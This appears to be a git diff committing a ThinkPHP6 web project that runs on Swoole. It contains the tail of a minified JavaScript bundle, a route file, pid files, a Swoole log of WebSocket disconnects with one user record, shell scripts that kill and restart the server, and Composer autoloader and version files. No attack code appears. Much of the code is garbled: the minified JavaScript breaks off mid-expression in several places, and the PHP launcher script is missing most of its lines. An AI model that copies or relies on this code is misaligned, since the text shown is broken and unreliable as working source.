obj}Emitter.prototype.on=Emitter.prototype.addEventListener=function(event,fn){this._callbacks=this._callbacks||{};(this._callbacks["$"+event]=this._callbacks["$"+event]||[]).push(fn);return this};Emitter.prototype.once=function(event,fn){function on(){this.off(event,on);fn.apply(this,arguments)}on.fn=fn;this.on(event,on);return this};Emitter.prototype.off=Emitter.prototype.removeListener=Emitter.prototype.removeAllListeners=Emitter.prototype.removeEventListener=function(event,fn){this._callbacks=this._callbacks||{};if(0==arguments.length){this._callbacks={};return this}var callbacks=this._callbacks["$"+event];if(!callbacks)return this;if(1==arguments.length){delete this._callbacks["$"+event];return this}var cb;for(var i=0;i1)))/4)-floor((year-1901+month)/100)+floor((year-1601+month)/400)}}if(!(isProperty=objectProto.hasOwnProperty)){isProperty=function(property){var members={},constructor;if((members.__proto__=null,members.__proto__={toString:1},members).toString!=getClass){isProperty=function(property){var original=this.__proto__,result=property in(this.__proto__=null,this);this.__proto__=original;return result}}else{constructor=members.constructor;isProperty=function(property){var parent=(this.constructor||constructor).prototype;return property in this&&!(property in parent&&this[property]===parent[property])}}members=null;return isProperty.call(this,property)}}forEach=function(object,callback){var size=0,Properties,members,property;(Properties=function(){this.valueOf=0}).prototype.valueOf=0;members=new Properties;for(property in members){if(isProperty.call(members,property)){size++}}Properties=members=null;if(!size){members=["valueOf","toString","toLocaleString","propertyIsEnumerable","isPrototypeOf","hasOwnProperty","constructor"];forEach=function(object,callback){var isFunction=getClass.call(object)==functionClass,property,length;var hasProperty=!isFunction&&typeof object.constructor!="function"&&objectTypes[typeof object.hasOwnProperty]&&object.hasOwnProperty||isProperty;for(property in object){if(!(isFunction&&property=="prototype")&&hasProperty.call(object,property)){callback(property)}}for(length=members.length;property=members[--length];hasProperty.call(object,property)&&callback(property));}}else if(size==2){forEach=function(object,callback){var members={},isFunction=getClass.call(object)==functionClass,property;for(property in object){if(!(isFunction&&property=="prototype")&&!isProperty.call(members,property)&&(members[property]=1)&&isProperty.call(object,property)){callback(property)}}}}else{forEach=function(object,callback){var isFunction=getClass.call(object)==functionClass,property,isConstructor;for(property in object){if(!(isFunction&&property=="prototype")&&isProperty.call(object,property)&&!(isConstructor=property==="constructor")){callback(property)}}if(isConstructor||isProperty.call(object,property="constructor")){callback(property)}}}return forEach(object,callback)};if(!has("json-stringify")){var Escapes={92:"\\\\",34:'\\"',8:"\\b",12:"\\f",10:"\\n",13:"\\r",9:"\\t"};var leadingZeroes="000000";var toPaddedString=function(width,value){return(leadingZeroes+(value||0)).slice(-width)};var unicodePrefix="\\u00";var quote=function(value){var result='"',index=0,length=value.length,useCharIndex=!charIndexBuggy||length>10;var symbols=useCharIndex&&(charIndexBuggy?value.split(""):value);for(;index-1/0&&value<1/0){if(getDay){date=floor(value/864e5);for(year=floor(date/365.2425)+1970-1;getDay(year+1,0)<=date;year++);for(month=floor((date-getDay(year,0))/30.42);getDay(year,month+1)<=date;month++);date=1+date-getDay(year,month);time=(value%864e5+864e5)%864e5;hours=floor(time/36e5)%24;minutes=floor(time/6e4)%60;seconds=floor(time/1e3)%60;milliseconds=time%1e3}else{year=value.getUTCFullYear();month=value.getUTCMonth();date=value.getUTCDate();hours=value.getUTCHours();minutes=value.getUTCMinutes();seconds=value.getUTCSeconds();milliseconds=value.getUTCMilliseconds()}value=(year<=0||year>=1e4?(year<0?"-":"+")+toPaddedString(6,year<0?-year:year):toPaddedString(4,year))+"-"+toPaddedString(2,month+1)+"-"+toPaddedString(2,date)+"T"+toPaddedString(2,hours)+":"+toPaddedString(2,minutes)+":"+toPaddedString(2,seconds)+"."+toPaddedString(3,milliseconds)+"Z"}else{value=null}}else if(typeof value.toJSON=="function"&&(className!=numberClass&&className!=stringClass&&className!=arrayClass||isProperty.call(value,"toJSON"))){value=value.toJSON(property)}}if(callback){value=callback.call(object,property,value)}if(value===null){return"null"}className=getClass.call(value);if(className==booleanClass){return""+value}else if(className==numberClass){return value>-1/0&&value<1/0?""+value:"null"}else if(className==stringClass){return quote(""+value)}if(typeof value=="object"){for(length=stack.length;length--;){if(stack[length]===value){throw TypeError()}}stack.push(value);results=[];prefix=indentation;indentation+=whitespace;if(className==arrayClass){for(index=0,length=value.length;index0){for(whitespace="",width>10&&(width=10);whitespace.length=48&&charCode<=57||charCode>=97&&charCode<=102||charCode>=65&&charCode<=70)){abort()}}value+=fromCharCode("0x"+source.slice(begin,Index));break;default:abort()}}else{if(charCode==34){break}charCode=source.charCodeAt(Index);begin=Index;while(charCode>=32&&charCode!=92&&charCode!=34){charCode=source.charCodeAt(++Index)}value+=source.slice(begin,Index)}}if(source.charCodeAt(Index)==34){Index++;return value}abort();default:begin=Index;if(charCode==45){isSigned=true;charCode=source.charCodeAt(++Index)}if(charCode>=48&&charCode<=57){if(charCode==48&&(charCode=source.charCodeAt(Index+1),charCode>=48&&charCode<=57)){abort()}isSigned=false;for(;Index=48&&charCode<=57);Index++);if(source.charCodeAt(Index)==46){position=++Index;for(;position=48&&charCode<=57);position++);if(position==Index){abort()}Index=position}charCode=source.charCodeAt(Index);if(charCode==101||charCode==69){charCode=source.charCodeAt(++Index);if(charCode==43||charCode==45){Index++}for(position=Index;position=48&&charCode<=57);position++);if(position==Index){abort()}Index=position}return+source.slice(begin,Index)}if(isSigned){abort()}if(source.slice(Index,Index+4)=="true"){Index+=4;return true}else if(source.slice(Index,Index+5)=="false"){Index+=5;return false}else if(source.slice(Index,Index+4)=="null"){Index+=4;return null}abort()}}return"$"};var get=function(value){var results,hasMembers;if(value=="$"){abort()}if(typeof value=="string"){if((charIndexBuggy?value.charAt(0):value[0])=="@"){return value.slice(1)}if(value=="["){results=[];for(;;hasMembers||(hasMembers=true)){value=lex();if(value=="]"){break}if(hasMembers){if(value==","){value=lex();if(value=="]"){abort()}}else{abort()}}if(value==","){abort()}results.push(get(value))}return results}else if(value=="{"){results={};for(;;hasMembers||(hasMembers=true)){value=lex();if(value=="}"){break}if(hasMembers){if(value==","){value=lex();if(value=="}"){abort()}}else{abort()}}if(value==","||typeof value!="string"||(charIndexBuggy?value.charAt(0):value[0])!="@"||lex()!=":"){abort()}results[value.slice(1)]=get(lex())}return results}abort()}return value; +};var update=function(source,property,callback){var element=walk(source,property,callback);if(element===undef){delete source[property]}else{source[property]=element}};var walk=function(source,property,callback){var value=source[property],length;if(typeof value=="object"&&value){if(getClass.call(value)==arrayClass){for(length=value.length;length--;){update(value,length,callback)}}else{forEach(value,function(property){update(value,property,callback)})}}return callback.call(source,property,value)};exports.parse=function(source,callback){var result,value;Index=0;Source=""+source;result=get(lex());if(lex()!="$"){abort()}Index=Source=null;return callback&&getClass.call(callback)==functionClass?walk((value={},value[""]=result,value),"",callback):result}}}exports["runInContext"]=runInContext;return exports}if(freeExports&&!isLoader){runInContext(root,freeExports)}else{var nativeJSON=root.JSON,previousJSON=root["JSON3"],isRestored=false;var JSON3=runInContext(root,root["JSON3"]={noConflict:function(){if(!isRestored){isRestored=true;root.JSON=nativeJSON;root["JSON3"]=previousJSON;nativeJSON=previousJSON=null}return JSON3}});root.JSON={parse:JSON3.parse,stringify:JSON3.stringify}}if(isLoader){define(function(){return JSON3})}}).call(this)}).call(this,typeof self!=="undefined"?self:typeof window!=="undefined"?window:typeof global!=="undefined"?global:{})},{}],51:[function(_dereq_,module,exports){module.exports=toArray;function toArray(list,index){var array=[];index=index||0;for(var i=index||0;i +// +---------------------------------------------------------------------- +use think\facade\Route; + +Route::get('think', function () { + return 'hello,ThinkPHP6!'; +}); + +Route::get('hello/:name', 'index/hello'); diff --git a/runtime/pid.txt b/runtime/pid.txt new file mode 100644 index 0000000..43c169f --- /dev/null +++ b/runtime/pid.txt @@ -0,0 +1 @@ +1474396 diff --git a/runtime/swoole.log b/runtime/swoole.log new file mode 100644 index 0000000..f80287a --- /dev/null +++ b/runtime/swoole.log @@ -0,0 +1,339 @@ +Starting swoole http server... +Swoole http server started: +You can exit with `CTRL-C` +1:退出 +
getState:ws:3
Array
+(
+    [mode] => user
+    [user_id] => 34
+    [table_id] => 0
+    [scan_appid] => 0
+    [api_appid] => 0
+    [username] => 974824731
+    [table_name] => 
+)
+
3:退出 +5:退出 +4:退出 +6:退出 +7:退出 +8:退出 +9:退出 +10:退出 +11:退出 +12:退出 +13:退出 +14:退出 +15:退出 +16:退出 +17:退出 +18:退出 +19:退出 +20:退出 +21:退出 +22:退出 +23:退出 +24:退出 +25:退出 +26:退出 +27:退出 +28:退出 +30:退出 +29:退出 +31:退出 +32:退出 +33:退出 +34:退出 +35:退出 +36:退出 +37:退出 +38:退出 +39:退出 +40:退出 +41:退出 +42:退出 +43:退出 +44:退出 +45:退出 +46:退出 +47:退出 +48:退出 +49:退出 +50:退出 +51:退出 +52:退出 +53:退出 +54:退出 +55:退出 +56:退出 +57:退出 +58:退出 +59:退出 +60:退出 +61:退出 +62:退出 +63:退出 +64:退出 +65:退出 +66:退出 +68:退出 +67:退出 +69:退出 +70:退出 +71:退出 +72:退出 +73:退出 +74:退出 +75:退出 +76:退出 +77:退出 +78:退出 +79:退出 +80:退出 +81:退出 +82:退出 +83:退出 +84:退出 +85:退出 +86:退出 +87:退出 +88:退出 +89:退出 +90:退出 +91:退出 +92:退出 +94:退出 +93:退出 +95:退出 +96:退出 +97:退出 +98:退出 +99:退出 +100:退出 +101:退出 +102:退出 +103:退出 +104:退出 +105:退出 +106:退出 +107:退出 +108:退出 +109:退出 +110:退出 +111:退出 +112:退出 +113:退出 +114:退出 +115:退出 +2:退出 +118:退出 +117:退出 +116:退出 +119:退出 +120:退出 +121:退出 +122:退出 +123:退出 +124:退出 +125:退出 +126:退出 +127:退出 +128:退出 +129:退出 +130:退出 +131:退出 +132:退出 +133:退出 +134:退出 +135:退出 +136:退出 +137:退出 +138:退出 +139:退出 +140:退出 +141:退出 +142:退出 +144:退出 +143:退出 +145:退出 +146:退出 +147:退出 +148:退出 +149:退出 +150:退出 +151:退出 +152:退出 +153:退出 +154:退出 +155:退出 +156:退出 +157:退出 +158:退出 +159:退出 +160:退出 +161:退出 +162:退出 +163:退出 +164:退出 +165:退出 +166:退出 +167:退出 +168:退出 +169:退出 +170:退出 +171:退出 +172:退出 +173:退出 +174:退出 +175:退出 +176:退出 +177:退出 +178:退出 +179:退出 +180:退出 +181:退出 +182:退出 +183:退出 +184:退出 +185:退出 +186:退出 +187:退出 +188:退出 +189:退出 +190:退出 +191:退出 +192:退出 +193:退出 +194:退出 +195:退出 +196:退出 +197:退出 +198:退出 +199:退出 +200:退出 +201:退出 +202:退出 +203:退出 +204:退出 +205:退出 +206:退出 +207:退出 +208:退出 +210:退出 +209:退出 +211:退出 +212:退出 +213:退出 +214:退出 +215:退出 +216:退出 +217:退出 +218:退出 +219:退出 +220:退出 +221:退出 +222:退出 +223:退出 +224:退出 +225:退出 +226:退出 +227:退出 +228:退出 +230:退出 +229:退出 +231:退出 +232:退出 +233:退出 +234:退出 +235:退出 +236:退出 +237:退出 +238:退出 +239:退出 +240:退出 +241:退出 +242:退出 +243:退出 +245:退出 +244:退出 +246:退出 +247:退出 +248:退出 +249:退出 +250:退出 +251:退出 +252:退出 +253:退出 +254:退出 +255:退出 +261:退出 +263:退出 +266:退出 +270:退出 +271:退出 +272:退出 +273:退出 +274:退出 +275:退出 +276:退出 +277:退出 +278:退出 +279:退出 +280:退出 +281:退出 +282:退出 +283:退出 +287:退出 +288:退出 +289:退出 +290:退出 +291:退出 +292:退出 +293:退出 +294:退出 +295:退出 +296:退出 +297:退出 +298:退出 +300:退出 +301:退出 +302:退出 +303:退出 +304:退出 +305:退出 +306:退出 +307:退出 +308:退出 +309:退出 +310:退出 +311:退出 +312:退出 +313:退出 +314:退出 +315:退出 +330:退出 +331:退出 +332:退出 +334:退出 +337:退出 +338:退出 +339:退出 +340:退出 +342:退出 +341:退出 +346:退出 +347:退出 +348:退出 +349:退出 +350:退出 +351:退出 +352:退出 +353:退出 +354:退出 +355:退出 +356:退出 +357:退出 +358:退出 +359:退出 +360:退出 +361:退出 diff --git a/runtime/swoole.pid b/runtime/swoole.pid new file mode 100644 index 0000000..3be3a92 --- /dev/null +++ b/runtime/swoole.pid @@ -0,0 +1 @@ +1474396 \ No newline at end of file diff --git a/start b/start new file mode 100644 index 0000000..57e0679 --- /dev/null +++ b/start @@ -0,0 +1,2 @@ +ps -ef | grep swoole | grep -v grep | awk {'print $2'} | xargs kill -9 +/usr/bin/php think swoole > runtime/swoole.log 2>&1 & echo $! > runtime/pid.txt diff --git a/stop b/stop new file mode 100644 index 0000000..49c80bb --- /dev/null +++ b/stop @@ -0,0 +1 @@ +ps -ef | grep swoole | grep -v grep | awk {'print $2'} | xargs kill -9 diff --git a/think b/think new file mode 100644 index 0000000..2429d22 --- /dev/null +++ b/think @@ -0,0 +1,10 @@ +#!/usr/bin/env php +console->run(); \ No newline at end of file diff --git a/vendor/autoload.php b/vendor/autoload.php new file mode 100644 index 0000000..712db50 --- /dev/null +++ b/vendor/autoload.php @@ -0,0 +1,7 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +/** + * Starts a dump server to collect and output dumps on a single place with multiple formats support. + * + * @author Maxime Steinhausser + */ + +use Psr\Log\LoggerInterface; +use Symfony\Component\Console\Application; +use Symfony\Component\Console\Input\ArgvInput; +use Symfony\Component\Console\Input\InputOption; +use Symfony\Component\Console\Logger\ConsoleLogger; +use Symfony\Component\Console\Output\ConsoleOutput; +use Symfony\Component\VarDumper\Command\ServerDumpCommand; +use Symfony\Component\VarDumper\Server\DumpServer; + +function includeIfExists(string $file): bool +{ + return file_exists($file) && include $file; +} + +if ( + !includeIfExists(__DIR__ . '/../../../../autoload.php') && + !includeIfExists(__DIR__ . '/../../vendor/autoload.php') && + !includeIfExists(__DIR__ . '/../../../../../../vendor/autoload.php') +) { + fwrite(STDERR, 'Install dependencies using Composer.'.PHP_EOL); + exit(1); +} + +if (!class_exists(Application::class)) { + fwrite(STDERR, 'You need the "symfony/console" component in order to run the VarDumper server.'.PHP_EOL); + exit(1); +} + +$input = new ArgvInput(); +$output = new ConsoleOutput(); +$defaultHost = '127.0.0.1:9912'; +$host = $input->getParameterOption(['--host'], $_SERVER['VAR_DUMPER_SERVER'] ?? $defaultHost, true); +$logger = interface_exists(LoggerInterface::class) ? new ConsoleLogger($output->getErrorOutput()) : null; + +$app = new Application(); + +$app->getDefinition()->addOption( + new InputOption('--host', null, InputOption::VALUE_REQUIRED, 'The address the server should listen to', $defaultHost) +); + +$app->add($command = new ServerDumpCommand(new DumpServer($host, $logger))) + ->getApplication() + ->setDefaultCommand($command->getName(), true) + ->run($input, $output) +; diff --git a/vendor/composer/ClassLoader.php b/vendor/composer/ClassLoader.php new file mode 100644 index 0000000..1a58957 --- /dev/null +++ b/vendor/composer/ClassLoader.php @@ -0,0 +1,445 @@ + + * Jordi Boggiano + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Composer\Autoload; + +/** + * ClassLoader implements a PSR-0, PSR-4 and classmap class loader. + * + * $loader = new \Composer\Autoload\ClassLoader(); + * + * // register classes with namespaces + * $loader->add('Symfony\Component', __DIR__.'/component'); + * $loader->add('Symfony', __DIR__.'/framework'); + * + * // activate the autoloader + * $loader->register(); + * + * // to enable searching the include path (eg. for PEAR packages) + * $loader->setUseIncludePath(true); + * + * In this example, if you try to use a class in the Symfony\Component + * namespace or one of its children (Symfony\Component\Console for instance), + * the autoloader will first look for the class under the component/ + * directory, and it will then fallback to the framework/ directory if not + * found before giving up. + * + * This class is loosely based on the Symfony UniversalClassLoader. + * + * @author Fabien Potencier + * @author Jordi Boggiano + * @see https://www.php-fig.org/psr/psr-0/ + * @see https://www.php-fig.org/psr/psr-4/ + */ +class ClassLoader +{ + // PSR-4 + private $prefixLengthsPsr4 = array(); + private $prefixDirsPsr4 = array(); + private $fallbackDirsPsr4 = array(); + + // PSR-0 + private $prefixesPsr0 = array(); + private $fallbackDirsPsr0 = array(); + + private $useIncludePath = false; + private $classMap = array(); + private $classMapAuthoritative = false; + private $missingClasses = array(); + private $apcuPrefix; + + public function getPrefixes() + { + if (!empty($this->prefixesPsr0)) { + return call_user_func_array('array_merge', array_values($this->prefixesPsr0)); + } + + return array(); + } + + public function getPrefixesPsr4() + { + return $this->prefixDirsPsr4; + } + + public function getFallbackDirs() + { + return $this->fallbackDirsPsr0; + } + + public function getFallbackDirsPsr4() + { + return $this->fallbackDirsPsr4; + } + + public function getClassMap() + { + return $this->classMap; + } + + /** + * @param array $classMap Class to filename map + */ + public function addClassMap(array $classMap) + { + if ($this->classMap) { + $this->classMap = array_merge($this->classMap, $classMap); + } else { + $this->classMap = $classMap; + } + } + + /** + * Registers a set of PSR-0 directories for a given prefix, either + * appending or prepending to the ones previously set for this prefix. + * + * @param string $prefix The prefix + * @param array|string $paths The PSR-0 root directories + * @param bool $prepend Whether to prepend the directories + */ + public function add($prefix, $paths, $prepend = false) + { + if (!$prefix) { + if ($prepend) { + $this->fallbackDirsPsr0 = array_merge( + (array) $paths, + $this->fallbackDirsPsr0 + ); + } else { + $this->fallbackDirsPsr0 = array_merge( + $this->fallbackDirsPsr0, + (array) $paths + ); + } + + return; + } + + $first = $prefix[0]; + if (!isset($this->prefixesPsr0[$first][$prefix])) { + $this->prefixesPsr0[$first][$prefix] = (array) $paths; + + return; + } + if ($prepend) { + $this->prefixesPsr0[$first][$prefix] = array_merge( + (array) $paths, + $this->prefixesPsr0[$first][$prefix] + ); + } else { + $this->prefixesPsr0[$first][$prefix] = array_merge( + $this->prefixesPsr0[$first][$prefix], + (array) $paths + ); + } + } + + /** + * Registers a set of PSR-4 directories for a given namespace, either + * appending or prepending to the ones previously set for this namespace. + * + * @param string $prefix The prefix/namespace, with trailing '\\' + * @param array|string $paths The PSR-4 base directories + * @param bool $prepend Whether to prepend the directories + * + * @throws \InvalidArgumentException + */ + public function addPsr4($prefix, $paths, $prepend = false) + { + if (!$prefix) { + // Register directories for the root namespace. + if ($prepend) { + $this->fallbackDirsPsr4 = array_merge( + (array) $paths, + $this->fallbackDirsPsr4 + ); + } else { + $this->fallbackDirsPsr4 = array_merge( + $this->fallbackDirsPsr4, + (array) $paths + ); + } + } elseif (!isset($this->prefixDirsPsr4[$prefix])) { + // Register directories for a new namespace. + $length = strlen($prefix); + if ('\\' !== $prefix[$length - 1]) { + throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); + } + $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; + $this->prefixDirsPsr4[$prefix] = (array) $paths; + } elseif ($prepend) { + // Prepend directories for an already registered namespace. + $this->prefixDirsPsr4[$prefix] = array_merge( + (array) $paths, + $this->prefixDirsPsr4[$prefix] + ); + } else { + // Append directories for an already registered namespace. + $this->prefixDirsPsr4[$prefix] = array_merge( + $this->prefixDirsPsr4[$prefix], + (array) $paths + ); + } + } + + /** + * Registers a set of PSR-0 directories for a given prefix, + * replacing any others previously set for this prefix. + * + * @param string $prefix The prefix + * @param array|string $paths The PSR-0 base directories + */ + public function set($prefix, $paths) + { + if (!$prefix) { + $this->fallbackDirsPsr0 = (array) $paths; + } else { + $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths; + } + } + + /** + * Registers a set of PSR-4 directories for a given namespace, + * replacing any others previously set for this namespace. + * + * @param string $prefix The prefix/namespace, with trailing '\\' + * @param array|string $paths The PSR-4 base directories + * + * @throws \InvalidArgumentException + */ + public function setPsr4($prefix, $paths) + { + if (!$prefix) { + $this->fallbackDirsPsr4 = (array) $paths; + } else { + $length = strlen($prefix); + if ('\\' !== $prefix[$length - 1]) { + throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); + } + $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; + $this->prefixDirsPsr4[$prefix] = (array) $paths; + } + } + + /** + * Turns on searching the include path for class files. + * + * @param bool $useIncludePath + */ + public function setUseIncludePath($useIncludePath) + { + $this->useIncludePath = $useIncludePath; + } + + /** + * Can be used to check if the autoloader uses the include path to check + * for classes. + * + * @return bool + */ + public function getUseIncludePath() + { + return $this->useIncludePath; + } + + /** + * Turns off searching the prefix and fallback directories for classes + * that have not been registered with the class map. + * + * @param bool $classMapAuthoritative + */ + public function setClassMapAuthoritative($classMapAuthoritative) + { + $this->classMapAuthoritative = $classMapAuthoritative; + } + + /** + * Should class lookup fail if not found in the current class map? + * + * @return bool + */ + public function isClassMapAuthoritative() + { + return $this->classMapAuthoritative; + } + + /** + * APCu prefix to use to cache found/not-found classes, if the extension is enabled. + * + * @param string|null $apcuPrefix + */ + public function setApcuPrefix($apcuPrefix) + { + $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null; + } + + /** + * The APCu prefix in use, or null if APCu caching is not enabled. + * + * @return string|null + */ + public function getApcuPrefix() + { + return $this->apcuPrefix; + } + + /** + * Registers this instance as an autoloader. + * + * @param bool $prepend Whether to prepend the autoloader or not + */ + public function register($prepend = false) + { + spl_autoload_register(array($this, 'loadClass'), true, $prepend); + } + + /** + * Unregisters this instance as an autoloader. + */ + public function unregister() + { + spl_autoload_unregister(array($this, 'loadClass')); + } + + /** + * Loads the given class or interface. + * + * @param string $class The name of the class + * @return bool|null True if loaded, null otherwise + */ + public function loadClass($class) + { + if ($file = $this->findFile($class)) { + includeFile($file); + + return true; + } + } + + /** + * Finds the path to the file where the class is defined. + * + * @param string $class The name of the class + * + * @return string|false The path if found, false otherwise + */ + public function findFile($class) + { + // class map lookup + if (isset($this->classMap[$class])) { + return $this->classMap[$class]; + } + if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) { + return false; + } + if (null !== $this->apcuPrefix) { + $file = apcu_fetch($this->apcuPrefix.$class, $hit); + if ($hit) { + return $file; + } + } + + $file = $this->findFileWithExtension($class, '.php'); + + // Search for Hack files if we are running on HHVM + if (false === $file && defined('HHVM_VERSION')) { + $file = $this->findFileWithExtension($class, '.hh'); + } + + if (null !== $this->apcuPrefix) { + apcu_add($this->apcuPrefix.$class, $file); + } + + if (false === $file) { + // Remember that this class does not exist. + $this->missingClasses[$class] = true; + } + + return $file; + } + + private function findFileWithExtension($class, $ext) + { + // PSR-4 lookup + $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext; + + $first = $class[0]; + if (isset($this->prefixLengthsPsr4[$first])) { + $subPath = $class; + while (false !== $lastPos = strrpos($subPath, '\\')) { + $subPath = substr($subPath, 0, $lastPos); + $search = $subPath . '\\'; + if (isset($this->prefixDirsPsr4[$search])) { + $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1); + foreach ($this->prefixDirsPsr4[$search] as $dir) { + if (file_exists($file = $dir . $pathEnd)) { + return $file; + } + } + } + } + } + + // PSR-4 fallback dirs + foreach ($this->fallbackDirsPsr4 as $dir) { + if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) { + return $file; + } + } + + // PSR-0 lookup + if (false !== $pos = strrpos($class, '\\')) { + // namespaced class name + $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1) + . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR); + } else { + // PEAR-like class name + $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext; + } + + if (isset($this->prefixesPsr0[$first])) { + foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) { + if (0 === strpos($class, $prefix)) { + foreach ($dirs as $dir) { + if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { + return $file; + } + } + } + } + } + + // PSR-0 fallback dirs + foreach ($this->fallbackDirsPsr0 as $dir) { + if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { + return $file; + } + } + + // PSR-0 include paths. + if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) { + return $file; + } + + return false; + } +} + +/** + * Scope isolated include. + * + * Prevents access to $this/self from included files. + */ +function includeFile($file) +{ + include $file; +} diff --git a/vendor/composer/InstalledVersions.php b/vendor/composer/InstalledVersions.php new file mode 100644 index 0000000..24ff3bd --- /dev/null +++ b/vendor/composer/InstalledVersions.php @@ -0,0 +1,434 @@ + + array ( + 'pretty_version' => 'dev-master', + 'version' => 'dev-master', + 'aliases' => + array ( + ), + 'reference' => 'c9f65d5ca918842689a627444aec27e5d6aeffc5', + 'name' => 'topthink/think', + ), + 'versions' => + array ( + 'league/flysystem' => + array ( + 'pretty_version' => '1.1.3', + 'version' => '1.1.3.0', + 'aliases' => + array ( + ), + 'reference' => '9be3b16c877d477357c015cec057548cf9b2a14a', + ), + 'league/flysystem-cached-adapter' => + array ( + 'pretty_version' => '1.1.0', + 'version' => '1.1.0.0', + 'aliases' => + array ( + ), + 'reference' => 'd1925efb2207ac4be3ad0c40b8277175f99ffaff', + ), + 'league/mime-type-detection' => + array ( + 'pretty_version' => '1.5.1', + 'version' => '1.5.1.0', + 'aliases' => + array ( + ), + 'reference' => '353f66d7555d8a90781f6f5e7091932f9a4250aa', + ), + 'nette/php-generator' => + array ( + 'pretty_version' => 'v3.4.1', + 'version' => '3.4.1.0', + 'aliases' => + array ( + ), + 'reference' => '7051954c534cebafd650efe8b145ac75b223cb66', + ), + 'nette/utils' => + array ( + 'pretty_version' => 'v3.1.3', + 'version' => '3.1.3.0', + 'aliases' => + array ( + ), + 'reference' => 'c09937fbb24987b2a41c6022ebe84f4f1b8eec0f', + ), + 'open-smf/connection-pool' => + array ( + 'pretty_version' => 'v1.0.15', + 'version' => '1.0.15.0', + 'aliases' => + array ( + ), + 'reference' => 'f9289cb5ee61d3e901bc74ab745e5b2162461a1e', + ), + 'psr/cache' => + array ( + 'pretty_version' => '1.0.1', + 'version' => '1.0.1.0', + 'aliases' => + array ( + ), + 'reference' => 'd11b50ad223250cf17b86e38383413f5a6764bf8', + ), + 'psr/container' => + array ( + 'pretty_version' => '1.0.0', + 'version' => '1.0.0.0', + 'aliases' => + array ( + ), + 'reference' => 'b7ce3b176482dbbc1245ebf52b181af44c2cf55f', + ), + 'psr/log' => + array ( + 'pretty_version' => '1.1.3', + 'version' => '1.1.3.0', + 'aliases' => + array ( + ), + 'reference' => '0f73288fd15629204f9d42b7055f72dacbe811fc', + ), + 'psr/simple-cache' => + array ( + 'pretty_version' => '1.0.1', + 'version' => '1.0.1.0', + 'aliases' => + array ( + ), + 'reference' => '408d5eafb83c57f6365a3ca330ff23aa4a5fa39b', + ), + 'swoole/ide-helper' => + array ( + 'pretty_version' => '4.5.6', + 'version' => '4.5.6.0', + 'aliases' => + array ( + ), + 'reference' => 'ab23c2c35880144a6060a3f178a68af0d0c6fc93', + ), + 'symfony/finder' => + array ( + 'pretty_version' => 'v4.4.16', + 'version' => '4.4.16.0', + 'aliases' => + array ( + ), + 'reference' => '26f63b8d4e92f2eecd90f6791a563ebb001abe31', + ), + 'symfony/polyfill-mbstring' => + array ( + 'pretty_version' => 'v1.20.0', + 'version' => '1.20.0.0', + 'aliases' => + array ( + ), + 'reference' => '39d483bdf39be819deabf04ec872eb0b2410b531', + ), + 'symfony/polyfill-php72' => + array ( + 'pretty_version' => 'v1.20.0', + 'version' => '1.20.0.0', + 'aliases' => + array ( + ), + 'reference' => 'cede45fcdfabdd6043b3592e83678e42ec69e930', + ), + 'symfony/polyfill-php80' => + array ( + 'pretty_version' => 'v1.20.0', + 'version' => '1.20.0.0', + 'aliases' => + array ( + ), + 'reference' => 'e70aa8b064c5b72d3df2abd5ab1e90464ad009de', + ), + 'symfony/var-dumper' => + array ( + 'pretty_version' => 'v4.4.16', + 'version' => '4.4.16.0', + 'aliases' => + array ( + ), + 'reference' => '3718e18b68d955348ad860e505991802c09f5f73', + ), + 'topthink/framework' => + array ( + 'pretty_version' => 'v6.0.5', + 'version' => '6.0.5.0', + 'aliases' => + array ( + ), + 'reference' => '85625d984f5c96699dc27d384869f206c3aec1cc', + ), + 'topthink/think' => + array ( + 'pretty_version' => 'dev-master', + 'version' => 'dev-master', + 'aliases' => + array ( + ), + 'reference' => 'c9f65d5ca918842689a627444aec27e5d6aeffc5', + ), + 'topthink/think-captcha' => + array ( + 'pretty_version' => 'v3.0.3', + 'version' => '3.0.3.0', + 'aliases' => + array ( + ), + 'reference' => '1eef3717c1bcf4f5bbe2d1a1c704011d330a8b55', + ), + 'topthink/think-helper' => + array ( + 'pretty_version' => 'v3.1.4', + 'version' => '3.1.4.0', + 'aliases' => + array ( + ), + 'reference' => 'c28d37743bda4a0455286ca85b17b5791d626e10', + ), + 'topthink/think-multi-app' => + array ( + 'pretty_version' => 'v1.0.14', + 'version' => '1.0.14.0', + 'aliases' => + array ( + ), + 'reference' => 'ccaad7c2d33f42cb1cc2a78d6610aaec02cea4c3', + ), + 'topthink/think-orm' => + array ( + 'pretty_version' => 'v2.0.34', + 'version' => '2.0.34.0', + 'aliases' => + array ( + ), + 'reference' => '57f9b98895b0ff4ae7b7b75e51456fd8cb8fb629', + ), + 'topthink/think-swoole' => + array ( + 'pretty_version' => 'v3.0.9', + 'version' => '3.0.9.0', + 'aliases' => + array ( + ), + 'reference' => 'c61e95cdc0669f4fe3382e25def9ae25797c0508', + ), + 'topthink/think-template' => + array ( + 'pretty_version' => 'v2.0.7', + 'version' => '2.0.7.0', + 'aliases' => + array ( + ), + 'reference' => 'e98bdbb4a4c94b442f17dfceba81e0134d4fbd19', + ), + 'topthink/think-trace' => + array ( + 'pretty_version' => 'v1.4', + 'version' => '1.4.0.0', + 'aliases' => + array ( + ), + 'reference' => '9a9fa8f767b6c66c5a133ad21ca1bc96ad329444', + ), + 'topthink/think-view' => + array ( + 